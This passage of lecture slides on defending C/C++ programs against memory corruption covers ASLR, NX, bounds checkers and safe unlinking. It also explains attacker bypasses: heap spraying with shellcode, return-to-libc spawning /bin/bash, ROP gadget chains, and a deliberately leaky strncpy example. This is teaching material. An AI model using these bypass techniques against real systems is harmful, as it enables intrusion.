  - Makes it harder for an attacker to know where in memory his code is located
  - Can be bypassed if attackers can print out memory addresses: possible to derive base address

- Implemented in Windows Vista / Linux >= 2.6.12
Heap-spraying

- Technique to bypass ASLR
- If an attacker can control memory allocation in the program (e.g. in the browser via javascript)
- Allocate a significant amount of memory
  - For example: 1GB or 2GB
  - Fill memory with a bunch of nops, place shell code at the end
  - Reduces amount of randomization offered by ASLR
  - Jumping anywhere in the nops will cause the shellcode to be executed eventually
Probabilistic countermeasures

- Randomized instruction sets: Barrantes et al./Kc et al.
  - Encrypts instructions while they are in memory
  - Decrypts them when needed for execution
  - If attackers don’t know the key their code will be decrypted wrongly, causing invalid code execution
  - If attackers can guess the key, the protection can be bypassed
  - High performance overhead in prototypes: should be implemented in hardware
Probabilistic countermeasures

- Rely on keeping memory secret
- Programs that have buffer overflows could also have information leakage
- Example:
  - char buffer[100];
  - strncpy(buffer, input, 100);
  - printf("%s", buffer);
- Strncpy does not NULL terminate (unlike strcpy), printf keeps reading until a NULL is found
Lecture overview

- Memory management in C/C++
- Vulnerabilities
- Countermeasures
  - Safe languages
  - Probabilistic countermeasures
  - Separation and replication countermeasures
  - Paging-based countermeasures
  - Bounds checkers
  - Verification countermeasures
- Conclusion
Separation and replication of information

- Replicate valuable control-flow information
  - Copy control-flow information to other memory
  - Copy back or compare before using
- Separate control-flow information from other data
  - Write control-flow information to other places in memory
  - Prevents overflows from overwriting control flow information
- These approaches do not rely on randomness
Separation of information

- Dnmalloc: Younan et al.
  - Does not rely on random numbers
  - Protection is added by separating the chunk information from the chunk
  - Chunk information is stored in separate regions protected by guard pages
  - Chunk is linked to its information through a hash table
  - Fast: performance impact vs. dlmalloc: -10% to +5%
  - Used as the default allocator for Samhein (open source IDS)
Dmalloc

Low addresses

<table>
<thead>
<tr>
<th>Heap Data</th>
<th>Heap Data</th>
<th>Heap Data</th>
<th>Heap Data</th>
<th>Heap Data</th>
<th>Heap Data</th>
</tr>
</thead>
</table>

Hashtable

<table>
<thead>
<tr>
<th>Guard page</th>
<th>Ptr to chunkinfo</th>
<th>Ptr to chunkinfo</th>
<th>Ptr to chunkinfo</th>
<th>Ptr to chunkinfo</th>
<th>Ptr to chunkinfo</th>
</tr>
</thead>
</table>

Chunkinfo region

<table>
<thead>
<tr>
<th>Guard page</th>
<th>Management information</th>
<th>Management information</th>
<th>Management information</th>
<th>Management information</th>
<th>Management information</th>
</tr>
</thead>
</table>

Control data | Regular data
Separation of information

- Multistack: Younan et al.
  - Does not rely on random numbers
  - Separates the stack into multiple stacks, 2 criteria:
    - Risk of data being an attack target (target value)
    - Risk of data being used as an attack vector (source value)
      - Return address: target: High; source: Low
      - Arrays of characters: target: Low; source: High
  - Default: 5 stacks, separated by guard pages
    - Stacks can be reduced by using selective bounds checking: to reduce source risk: ideally 2 stacks
  - Fast: max. performance overhead: 2-3% (usually 0)
### Dnstack

<table>
<thead>
<tr>
<th>Pointers</th>
<th>Array of pointers</th>
<th>Structs (no char array)</th>
<th>Structures (with char. array)</th>
<th>Array of characters</th>
</tr>
</thead>
<tbody>
<tr>
<td>Saved registers</td>
<td>Structures (no arrays)</td>
<td>Array of struct (no char array)</td>
<td>Array of structures (with char array)</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Integers</td>
<td>Alloca()</td>
<td>Floats</td>
<td></td>
</tr>
</tbody>
</table>

- Stacks are at a fixed location from each other
- If source risk can be reduced: maybe only 2 stacks
  - Map stack 1,2 onto stack one
  - Map stack 3,4,5 onto stack two
Lecture overview

- Memory management in C/C++
- Vulnerabilities
- **Countermeasures**
  - Safe languages
  - Probabilistic countermeasures
  - Separation and replication countermeasures
  - Paging-based countermeasures
  - Bounds checkers
  - Verification countermeasures
- Conclusion
Paging-based countermeasure

➢ Non-executable memory (called NX or XN)
  ➢ Pages of memory can be marked executable, writeable and readable
  ➢ Older Intel processors would not support the executable bit which meant that readable meant executable
  ➢ Eventually the bit was implemented, allowing the OS to mark data pages (such as the stack and heap writable but not executable)
  ➢ OpenBSD takes it further by implementing W^X (writable XOR executable)
  ➢ Programs doing JIT have memory that is both executable and writable
Stack-based buffer overflowed on NX

Stack

- Other stack frames
- Return address f0
- Saved frame pointer f0
- Local variables f0
- Arguments f1
- Overwritten return address
- Injected code

f0:

... call f1 ...

f1:

buffer[]

overflow()

...
Stack-based buffer overflow on NX

f0:
... call f1 ...

f1:
buffer[] overflow()
...

Stack

Other stack frames
Return address f0
Saved frame pointer f0
Local variables f0

Injected code

crash: memory not executable
Bypassing non-executable memory

- Early exploits would return to existing functions (called return-to-libc) to bypass these countermeasures
  - Places the arguments on the stack and then places the address of the function as the return address
    - This simulates a function call
  - For example calling system("/bin/bash") would place the address of the executable code for system as return address and would place a pointer to the string /bin/bash on the stack
Paging-based countermeasures

```
f0: ...
call f1 ...
```

```
f1:
buffer[]
overflow()
...```

Stack
- Other stack frames
- Return address f0
- Saved frame pointer f0
- Local variables f0
- Arguments f1
- Return address f1
- Saved frame pointer f1
  - Buffer
Paging-based countermeasures

Stack
- Other stack frames
- Return address f0
- Saved frame pointer f0
  - string "/bin/bash"
  - Pointer to /bin/bash
  - Overwritten return address

f0:
  ...
call f1
  ...

f1:
  buffer[]
  overflow()
  ...

system:
  ...
  int 0x80

Monday, February 13, 2012
Return oriented programming

- More generic return-to-libc

- Returns to existing assembly code, but doesn’t require it to be the start of the function:
  - Any code snippet that has the desired functionality followed by a ret can be used
    - For example:
      - Code snippet that does pop eax, followed by ret
      - Next code snippet does mov ecx, eax followed by ret
      - Final code snippet does jmp ecx
      - Code gets executed at the address in ecx

- Shown to be Turing complete for complex libraries like libc
Return oriented programming

Stack

Other stack frames
Return address f0
Saved frame pointer f0

return after mov
return after pop
To be popped in eax
Overwritten return address

f0:
  ...
call f1
  ...

f1:
  buffer[]
overflow()
  ...

f2:
  ...
pop eax
ret

f3:
  ...
mov ecx, eax
ret

f4:
  ...
jmp ecx
  ...

IP
FP
SP
Return oriented programming

- x86 has variable length instructions, ranging from 1 to 17 bytes.
- ROP doesn’t have to jump to the beginning of an instruction
- The middle of an instruction could be interpreted as an instruction that has the desired functionality, followed by a ret (either as part of that instruction or the following instruction)
- Also possible that jumping into a middle of an instruction causes subsequent instructions to be interpreted differently
Return oriented programming

- x86 has variable length instructions, ranging from 1 to 17 bytes.
- ROP doesn’t have to jump to the beginning of an instruction.
- The middle of an instruction could be interpreted as an instruction that has the desired functionality, followed by a ret (either as part of that instruction or the following instruction).
- Also possible that jumping into a middle of an instruction causes subsequent instructions to be interpreted differently.
Return oriented programming

movl [ebp-44], 0x00000001
  machine code: c7 45 d4 01 00 00 00

test edi, 0x00000007
  machine code: c7 07 00 00 00

setnzb [ebp-61]
  machine code: 0f 95 45 c3

Example adapted from “Return-oriented Programming: Exploitation without Code Injection” by Buchanan et al.
Lecture overview

- Memory management in C/C++
- Vulnerabilities
- **Countermeasures**
  - Safe languages
  - Probabilistic countermeasures
  - Separation and replication countermeasures
  - Paging-based countermeasures
  - Bounds checkers
  - Verification countermeasures
- Conclusion
Bounds checkers

- Ensure arrays and pointers do not access memory out of bounds through runtime checks

- Slow:
  - Bounds checking in C must check all pointer operations, not just array index accesses (as opposed to Java)
  - Usually too slow for production deployment

- Some approaches have compatibility issues

- Two major approaches: add bounds info to pointers, add bounds info to objects
Bounds checkers

- Add bounds info to pointers
  - Pointer contains
    - Current value
    - Upper bound
    - Lower bound
  - Two techniques
    - Change pointer representation: fat pointers
      - Fat pointers are incompatible with existing code (casting)
    - Store extra information somewhere else, look it up
- Problems with existing code: if (global) pointer is changed, info is out of sync
Bounds checkers

- Add bounds info to objects
  - Pointers remain the same
  - Look up bounds information based on pointer’s value
  - Check pointer arithmetic:
    - If result of arithmetic is larger than base object + size -> overflow detected
    - Pointer use also checked to make sure object points to valid location
- Other lighter-weight approaches
Bounds checkers

- **Safe C: Austin et al.**
  - Safe pointer: value (V), pointer base (B), size (S), class (C), capability (CP)
  - V, B, S used for spatial checks
  - C and CP used for temporal checks
    - Prevents dangling pointers
    - Class: heap, local or global, where is the memory allocated
    - Capability: forever, never
  - Checks at pointer dereference
    - First temp check: is the pointer still valid?
    - Bounds check: is the pointer within bounds?
Bounds checkers

- Jones and Kelly
  - Austin not compatible with existing code
  - Maps object size onto descriptor of object (base, size)
  - Pointer dereference/arithmetic
    - Check descriptor
    - If out of bounds: error
  - Object created in checked code
    - Add descriptor
  - Pointers can be passed to existing code
Bounds checkers

- **CRED: Ruwase and Lam**
  - Extension of Jones and Kelly
  - Problems with pointer arithmetic
    - 1) pointer goes out-of-bounds, 2) is not dereferenced, 3) goes in-bounds again
    - Out-of-bounds arithmetic causes error
    - Many programs do this
  - Create OOB object when going out-of-bounds
    - When OOB object dereferenced: error
    - When pointer arithmetic goes in-bounds again, set to correct value
Bounds checkers

- PariCheck: Younan et al.
- Bounds are stored as a unique number over a region of memory
- Object inhabits one or more regions, each region has the same unique number
- Check pointer arithmetic
  - Look up unique number of object that pointer is pointing to, compare to unique number of the result of the arithmetic, if different -> overflow
- Faster than existing bounds checkers: ~50% overhead
Lecture overview

- Memory management in C/C++
- Vulnerabilities
- **Countermeasures**
  - Safe languages
  - Probabilistic countermeasures
  - Separation and replication countermeasures
  - Paging-based countermeasures
  - Bounds checkers
  - Verification countermeasures
- Conclusion
Verification countermeasures

- Ensure that the values in use are sane
  - A typical example of this is safe unlinking

- Safe unlinking was introduced to various heap allocators to ensure that the doubly linked list is sane before being used

- For example before unlinking, do the following checks:
  - P->fd->bk should be equal to P
  - P->bk->fd should also be equal to P

- If both conditions hold, then proceed with unlinking
Lecture overview

- Memory management in C/C++
- Vulnerabilities
  - Buffer overflows
  - Format string vulnerabilities
  - Integer errors
- Countermeasures
- Conclusion
Countermeasures in modern OSes

- Various countermeasures have been deployed in modern operating systems
  - ASLR
  - StackGuard
  - Safe unlinking
  - Non-executable memory
- These have made exploitations of these attacks significantly harder
- However, attackers have found various ways of bypassing these countermeasures
Embedded and mobile devices

- Vulnerabilities also present and exploitable on embedded devices
- iPhone LibTIFF vulnerability massively exploited to unlock phones
- Almost no countermeasures
  - Windows CE6 has stack cookies
- Different priorities: performance is much more important on embedded devices
- Area of very active research
Conclusion

- Many attacks, countermeasures, counter-countermeasures, etc. exist
- Search for good and performant countermeasures to protect C continues
- Best solution: switch to a safe language, if possible
- More information:
  - Y. Younan. Efficient countermeasures for software vulnerabilities due to memory management errors
  - Ú. Erlingsson, Y. Younan, F. Piessens, Low-level software security by example